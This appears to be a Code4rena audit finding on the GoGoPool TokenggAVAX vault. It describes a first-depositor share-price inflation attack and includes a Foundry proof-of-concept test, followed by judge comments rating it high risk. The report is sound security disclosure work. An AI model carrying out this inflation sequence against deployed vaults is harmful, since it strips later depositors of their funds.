Deploying vaults without seeding liquidity can lead to share price manipulation attacks.

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/tokens/TokenggAVAX.sol#L24

Vulnerability details

The share price always return 1:1 with asset token. If everything work normally, share price will slowly increase with time to 1:2 or 1:10 as more rewards coming in.

But right after TokenggAVAX contract creation, during first cycle, any user can deposit 1 share set totalSupply = 1. And transfer token to vault to inflate totalAssets() before rewards kick in. (Basically, pretend rewards themselves before anyone can deposit in to get much better share price.)

This can inflate base share price as high as 1:1e18 early on, which force all subsequence deposit to use this share price as base.

Impact

The share price can be manipulated and due to rounding precision other users will recieve less (or zero) shares when they deposit asset.

POC

function testinflate() public{
		uint depositamount = 1 ether;
		vm.deal(bob,depositamount);
		vm.startPrank(bob);
		wavax.deposit{value: depositamount}();
		wavax.transfer(address(ggAVAX),depositamount);
		
		vm.deal(bob,1);
		ggAVAX.depositAVAX{value: 1}();
		skip(14 days);
		ggAVAX.syncRewards();
		skip(14 days);

		uint sharestoasset = ggAVAX.convertToAssets(1);
		emit log_named_decimal_uint("1 share to asset", sharestoasset,18 );
	}

Recommendations

More about the similar issue here: https://rokinot.github.io/hatsfinance

[c4-judge]

GalloDaSballo marked the issue as duplicate of #209

[c4-judge]

GalloDaSballo changed the severity to 3 (High Risk)

[c4-judge]

GalloDaSballo marked the issue as satisfactory